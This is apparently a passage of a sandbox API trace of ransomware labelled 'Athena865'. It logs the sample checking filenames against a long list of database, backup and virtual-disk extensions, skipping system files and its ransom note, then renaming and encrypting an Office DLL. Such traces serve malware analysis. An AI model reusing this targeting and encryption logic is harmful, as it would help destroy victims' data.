lstrlenW (lpString="mdn") returned 3 [0068.898] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0068.898] lstrlenW (lpString="mdt") returned 3 [0068.898] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0068.898] lstrlenW (lpString="mfd") returned 3 [0068.898] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0068.898] lstrlenW (lpString="mpd") returned 3 [0068.898] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0068.898] lstrlenW (lpString="mrg") returned 3 [0068.898] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0068.898] lstrlenW (lpString="mud") returned 3 [0068.898] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0068.898] lstrlenW (lpString="mwb") returned 3 [0068.898] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0068.898] lstrlenW (lpString="myd") returned 3 [0068.898] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0068.898] lstrlenW (lpString="ndf") returned 3 [0068.898] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0068.898] lstrlenW (lpString="nnt") returned 3 [0068.898] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0068.898] lstrlenW (lpString="nrmlib") returned 6 [0068.898] lstrcmpiW (lpString1="09.DLL", lpString2="nrmlib") returned -1 [0068.898] lstrlenW (lpString="ns2") returned 3 [0068.898] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0068.898] lstrlenW (lpString="ns3") returned 3 [0068.898] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0068.898] lstrlenW (lpString="ns4") returned 3 [0068.898] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0068.898] lstrlenW (lpString="nsf") returned 3 [0068.898] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0068.898] lstrlenW (lpString="nv") returned 2 [0068.898] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0068.898] lstrlenW (lpString="nv2") returned 3 [0068.899] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0068.899] lstrlenW (lpString="nwdb") returned 4 [0068.899] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0068.899] lstrlenW (lpString="nyf") returned 3 [0068.899] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0068.899] lstrlenW (lpString="odb") returned 3 [0068.899] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0068.899] lstrlenW (lpString="odb") returned 3 [0068.899] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0068.899] lstrlenW (lpString="oqy") returned 3 [0068.899] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0068.899] lstrlenW (lpString="ora") returned 3 [0068.899] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0068.899] lstrlenW (lpString="orx") returned 3 [0068.899] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0068.899] lstrlenW (lpString="owc") returned 3 [0068.899] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0068.899] lstrlenW (lpString="p96") returned 3 [0068.899] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0068.899] lstrlenW (lpString="p97") returned 3 [0068.899] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0068.899] lstrlenW (lpString="pan") returned 3 [0068.899] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0068.899] lstrlenW (lpString="pdb") returned 3 [0068.899] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0068.899] lstrlenW (lpString="pdm") returned 3 [0068.899] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0068.899] lstrlenW (lpString="pnz") returned 3 [0068.899] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0068.899] lstrlenW (lpString="qry") returned 3 [0068.899] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0068.899] lstrlenW (lpString="qvd") returned 3 [0068.899] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0068.899] lstrlenW (lpString="rbf") returned 3 [0068.900] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0068.900] lstrlenW (lpString="rctd") returned 4 [0068.900] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0068.900] lstrlenW (lpString="rod") returned 3 [0068.900] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0068.900] lstrlenW (lpString="rodx") returned 4 [0068.900] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0068.900] lstrlenW (lpString="rpd") returned 3 [0068.900] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0068.900] lstrlenW (lpString="rsd") returned 3 [0068.900] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0068.900] lstrlenW (lpString="sas7bdat") returned 8 [0068.900] lstrcmpiW (lpString1="0009.DLL", lpString2="sas7bdat") returned -1 [0068.900] lstrlenW (lpString="sbf") returned 3 [0068.900] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0068.900] lstrlenW (lpString="scx") returned 3 [0068.900] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0068.900] lstrlenW (lpString="sdb") returned 3 [0068.900] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0068.900] lstrlenW (lpString="sdc") returned 3 [0068.900] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0068.900] lstrlenW (lpString="sdf") returned 3 [0068.900] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0068.900] lstrlenW (lpString="sis") returned 3 [0068.900] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0068.900] lstrlenW (lpString="spq") returned 3 [0068.900] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0068.900] lstrlenW (lpString="te") returned 2 [0068.900] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0068.900] lstrlenW (lpString="teacher") returned 7 [0068.900] lstrcmpiW (lpString1="009.DLL", lpString2="teacher") returned -1 [0068.900] lstrlenW (lpString="tmd") returned 3 [0068.900] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0068.901] lstrlenW (lpString="tps") returned 3 [0068.901] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0068.901] lstrlenW (lpString="trc") returned 3 [0068.901] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0068.901] lstrlenW (lpString="trc") returned 3 [0068.901] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0068.901] lstrlenW (lpString="trm") returned 3 [0068.901] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0068.901] lstrlenW (lpString="udb") returned 3 [0068.901] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0068.901] lstrlenW (lpString="udl") returned 3 [0068.901] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0068.901] lstrlenW (lpString="usr") returned 3 [0068.901] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0068.901] lstrlenW (lpString="v12") returned 3 [0068.901] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0068.901] lstrlenW (lpString="vis") returned 3 [0068.901] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0068.901] lstrlenW (lpString="vpd") returned 3 [0068.901] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0068.901] lstrlenW (lpString="vvv") returned 3 [0068.901] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0068.901] lstrlenW (lpString="wdb") returned 3 [0068.901] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0068.901] lstrlenW (lpString="wmdb") returned 4 [0068.901] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0068.901] lstrlenW (lpString="wrk") returned 3 [0068.901] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0068.901] lstrlenW (lpString="xdb") returned 3 [0068.901] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0068.901] lstrlenW (lpString="xld") returned 3 [0068.901] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0068.901] lstrlenW (lpString="xmlff") returned 5 [0068.901] lstrcmpiW (lpString1="9.DLL", lpString2="xmlff") returned -1 [0068.902] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL.Athena865") returned 69 [0068.902] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll.athena865"), dwFlags=0x1) returned 1 [0068.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0068.913] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=594352) returned 1 [0068.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0068.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0068.914] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0068.914] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0068.914] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.915] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x914b0, lpName=0x0) returned 0x17c [0068.916] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x914b0) returned 0x2d50000 [0068.961] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0068.962] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0068.962] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0068.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0068.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0068.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0068.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0068.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0068.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0068.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0068.963] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0068.968] CloseHandle (hObject=0x17c) returned 1 [0068.968] CloseHandle (hObject=0x154) returned 1 [0068.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0068.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0068.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0068.970] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d4df100, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6dee7e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3d4df100, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CSS7DATA000A.DLL", cAlternateFileName="CSS7DA~1.DLL")) returned 1 [0068.970] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.970] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.970] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2=".") returned 1 [0068.971] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2="..") returned 1 [0068.971] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2="windows") returned -1 [0068.971] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2="bootmgr") returned 1 [0068.971] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2="temp") returned -1 [0068.971] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2="pagefile.sys") returned -1 [0068.971] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2="boot") returned 1 [0068.971] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2="ids.txt") returned -1 [0068.971] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2="ntuser.dat") returned -1 [0068.971] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2="perflogs") returned -1 [0068.971] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2="MSBuild") returned -1 [0068.971] lstrlenW (lpString="CSS7DATA000A.DLL") returned 16 [0068.971] lstrcpyW (in: lpString1=0x241e89e, lpString2="CSS7DATA000A.DLL" | out: lpString1="CSS7DATA000A.DLL") returned="CSS7DATA000A.DLL" [0068.971] lstrlenW (lpString="CSS7DATA000A.DLL") returned 16 [0068.971] lstrlenW (lpString="Athena865") returned 9 [0068.971] lstrcmpiW (lpString1="A000A.DLL", lpString2="Athena865") returned -1 [0068.971] lstrlenW (lpString=".dll") returned 4 [0068.971] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2=".dll") returned 1 [0068.971] lstrlenW (lpString=".lnk") returned 4 [0068.971] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2=".lnk") returned 1 [0068.971] lstrlenW (lpString=".ini") returned 4 [0068.971] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2=".ini") returned 1 [0068.971] lstrlenW (lpString=".sys") returned 4 [0068.971] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2=".sys") returned 1 [0068.971] lstrlenW (lpString="CSS7DATA000A.DLL") returned 16 [0068.971] lstrlenW (lpString="bak") returned 3 [0068.971] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0068.971] lstrlenW (lpString="ba_") returned 3 [0068.971] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0068.971] lstrlenW (lpString="dbb") returned 3 [0068.971] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0068.971] lstrlenW (lpString="vmdk") returned 4 [0068.971] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0068.971] lstrlenW (lpString="rar") returned 3 [0068.972] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0068.972] lstrlenW (lpString="zip") returned 3 [0068.972] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0068.972] lstrlenW (lpString="tgz") returned 3 [0068.972] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0068.972] lstrlenW (lpString="vbox") returned 4 [0068.972] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0068.972] lstrlenW (lpString="vdi") returned 3 [0068.972] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0068.972] lstrlenW (lpString="vhd") returned 3 [0068.972] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0068.972] lstrlenW (lpString="vhdx") returned 4 [0068.972] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0068.972] lstrlenW (lpString="avhd") returned 4 [0068.972] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0068.972] lstrlenW (lpString="db") returned 2 [0068.972] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0068.972] lstrlenW (lpString="db2") returned 3 [0068.972] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0068.972] lstrlenW (lpString="db3") returned 3 [0068.972] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0068.972] lstrlenW (lpString="dbf") returned 3 [0068.972] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0068.972] lstrlenW (lpString="mdf") returned 3 [0068.972] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0068.972] lstrlenW (lpString="mdb") returned 3 [0068.972] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0068.972] lstrlenW (lpString="sql") returned 3 [0068.972] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0068.972] lstrlenW (lpString="sqlite") returned 6 [0068.972] lstrcmpiW (lpString1="0A.DLL", lpString2="sqlite") returned -1 [0068.972] lstrlenW (lpString="sqlite3") returned 7 [0068.972] lstrcmpiW (lpString1="00A.DLL", lpString2="sqlite3") returned -1 [0068.972] lstrlenW (lpString="sqlitedb") returned 8 [0068.973] lstrcmpiW (lpString1="000A.DLL", lpString2="sqlitedb") returned -1 [0068.973] lstrlenW (lpString="xml") returned 3 [0068.973] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0068.973] lstrlenW (lpString="$er") returned 3 [0068.973] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0068.973] lstrlenW (lpString="4dd") returned 3 [0068.973] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0068.973] lstrlenW (lpString="4dl") returned 3 [0068.973] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0068.973] lstrlenW (lpString="^^^") returned 3 [0068.973] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0068.973] lstrlenW (lpString="abs") returned 3 [0068.973] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0068.973] lstrlenW (lpString="abx") returned 3 [0068.973] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0068.973] lstrlenW (lpString="accdb") returned 5 [0068.973] lstrcmpiW (lpString1="A.DLL", lpString2="accdb") returned -1 [0068.973] lstrlenW (lpString="accdc") returned 5 [0068.973] lstrcmpiW (lpString1="A.DLL", lpString2="accdc") returned -1 [0068.973] lstrlenW (lpString="accde") returned 5 [0068.973] lstrcmpiW (lpString1="A.DLL", lpString2="accde") returned -1 [0068.973] lstrlenW (lpString="accdr") returned 5 [0068.973] lstrcmpiW (lpString1="A.DLL", lpString2="accdr") returned -1 [0068.973] lstrlenW (lpString="accdt") returned 5 [0068.973] lstrcmpiW (lpString1="A.DLL", lpString2="accdt") returned -1 [0068.973] lstrlenW (lpString="accdw") returned 5 [0068.973] lstrcmpiW (lpString1="A.DLL", lpString2="accdw") returned -1 [0068.973] lstrlenW (lpString="accft") returned 5 [0068.973] lstrcmpiW (lpString1="A.DLL", lpString2="accft") returned -1 [0068.973] lstrlenW (lpString="adb") returned 3 [0068.973] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0068.973] lstrlenW (lpString="adb") returned 3 [0068.973] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0068.973] lstrlenW (lpString="ade") returned 3 [0068.974] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0068.974] lstrlenW (lpString="adf") returned 3 [0068.974] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0068.974] lstrlenW (lpString="adn") returned 3 [0068.974] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0068.974] lstrlenW (lpString="adp") returned 3 [0068.974] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0068.974] lstrlenW (lpString="alf") returned 3 [0068.974] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0068.974] lstrlenW (lpString="ask") returned 3 [0068.974] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0068.974] lstrlenW (lpString="btr") returned 3 [0068.974] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0068.974] lstrlenW (lpString="cat") returned 3 [0068.974] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0068.974] lstrlenW (lpString="cdb") returned 3 [0068.974] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0068.974] lstrlenW (lpString="ckp") returned 3 [0068.974] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0068.974] lstrlenW (lpString="cma") returned 3 [0068.974] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0068.974] lstrlenW (lpString="cpd") returned 3 [0068.974] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0068.974] lstrlenW (lpString="dacpac") returned 6 [0068.974] lstrcmpiW (lpString1="0A.DLL", lpString2="dacpac") returned -1 [0068.974] lstrlenW (lpString="dad") returned 3 [0068.974] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0068.974] lstrlenW (lpString="dadiagrams") returned 10 [0068.974] lstrcmpiW (lpString1="TA000A.DLL", lpString2="dadiagrams") returned 1 [0068.974] lstrlenW (lpString="daschema") returned 8 [0068.974] lstrcmpiW (lpString1="000A.DLL", lpString2="daschema") returned -1 [0068.974] lstrlenW (lpString="db-journal") returned 10 [0068.974] lstrcmpiW (lpString1="TA000A.DLL", lpString2="db-journal") returned 1 [0068.975] lstrlenW (lpString="db-shm") returned 6 [0068.975] lstrcmpiW (lpString1="0A.DLL", lpString2="db-shm") returned -1 [0068.975] lstrlenW (lpString="db-wal") returned 6 [0068.975] lstrcmpiW (lpString1="0A.DLL", lpString2="db-wal") returned -1 [0068.975] lstrlenW (lpString="dbc") returned 3 [0068.975] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0068.975] lstrlenW (lpString="dbs") returned 3 [0068.975] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0068.975] lstrlenW (lpString="dbt") returned 3 [0068.975] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0068.975] lstrlenW (lpString="dbv") returned 3 [0068.975] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0068.975] lstrlenW (lpString="dbx") returned 3 [0068.975] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0068.975] lstrlenW (lpString="dcb") returned 3 [0068.975] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0068.975] lstrlenW (lpString="dct") returned 3 [0068.975] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0068.975] lstrlenW (lpString="dcx") returned 3 [0068.975] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0068.975] lstrlenW (lpString="ddl") returned 3 [0068.975] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0068.975] lstrlenW (lpString="dlis") returned 4 [0068.975] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0068.975] lstrlenW (lpString="dp1") returned 3 [0068.975] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0068.975] lstrlenW (lpString="dqy") returned 3 [0068.975] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0068.975] lstrlenW (lpString="dsk") returned 3 [0068.975] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0068.975] lstrlenW (lpString="dsn") returned 3 [0068.975] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0068.975] lstrlenW (lpString="dtsx") returned 4 [0068.975] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0068.976] lstrlenW (lpString="dxl") returned 3 [0068.976] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0068.976] lstrlenW (lpString="eco") returned 3 [0068.976] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0068.976] lstrlenW (lpString="ecx") returned 3 [0068.976] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0068.976] lstrlenW (lpString="edb") returned 3 [0068.976] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0068.976] lstrlenW (lpString="epim") returned 4 [0068.976] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0068.976] lstrlenW (lpString="fcd") returned 3 [0068.976] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0068.976] lstrlenW (lpString="fdb") returned 3 [0068.976] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0068.976] lstrlenW (lpString="fic") returned 3 [0068.976] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0068.976] lstrlenW (lpString="flexolibrary") returned 12 [0068.976] lstrcmpiW (lpString1="DATA000A.DLL", lpString2="flexolibrary") returned -1 [0068.976] lstrlenW (lpString="fm5") returned 3 [0068.976] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0068.976] lstrlenW (lpString="fmp") returned 3 [0068.976] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0068.976] lstrlenW (lpString="fmp12") returned 5 [0068.976] lstrcmpiW (lpString1="A.DLL", lpString2="fmp12") returned -1 [0068.976] lstrlenW (lpString="fmpsl") returned 5 [0068.976] lstrcmpiW (lpString1="A.DLL", lpString2="fmpsl") returned -1 [0068.976] lstrlenW (lpString="fol") returned 3 [0068.976] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0068.976] lstrlenW (lpString="fp3") returned 3 [0068.976] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0068.976] lstrlenW (lpString="fp4") returned 3 [0068.976] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0068.976] lstrlenW (lpString="fp5") returned 3 [0068.976] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0068.977] lstrlenW (lpString="fp7") returned 3 [0068.977] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0068.977] lstrlenW (lpString="fpt") returned 3 [0068.977] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0068.977] lstrlenW (lpString="frm") returned 3 [0068.977] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0068.977] lstrlenW (lpString="gdb") returned 3 [0068.977] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0068.977] lstrlenW (lpString="gdb") returned 3 [0068.977] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0068.977] lstrlenW (lpString="grdb") returned 4 [0068.977] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0068.977] lstrlenW (lpString="gwi") returned 3 [0068.977] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0068.977] lstrlenW (lpString="hdb") returned 3 [0068.977] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0068.977] lstrlenW (lpString="his") returned 3 [0068.977] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0068.977] lstrlenW (lpString="ib") returned 2 [0068.977] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0068.977] lstrlenW (lpString="idb") returned 3 [0068.977] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0068.977] lstrlenW (lpString="ihx") returned 3 [0068.977] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0068.977] lstrlenW (lpString="itdb") returned 4 [0068.977] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0068.977] lstrlenW (lpString="itw") returned 3 [0068.977] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0068.977] lstrlenW (lpString="jet") returned 3 [0068.977] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0068.977] lstrlenW (lpString="jtx") returned 3 [0068.977] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0068.977] lstrlenW (lpString="kdb") returned 3 [0068.978] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0068.978] lstrlenW (lpString="kexi") returned 4 [0068.978] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0068.978] lstrlenW (lpString="kexic") returned 5 [0068.978] lstrcmpiW (lpString1="A.DLL", lpString2="kexic") returned -1 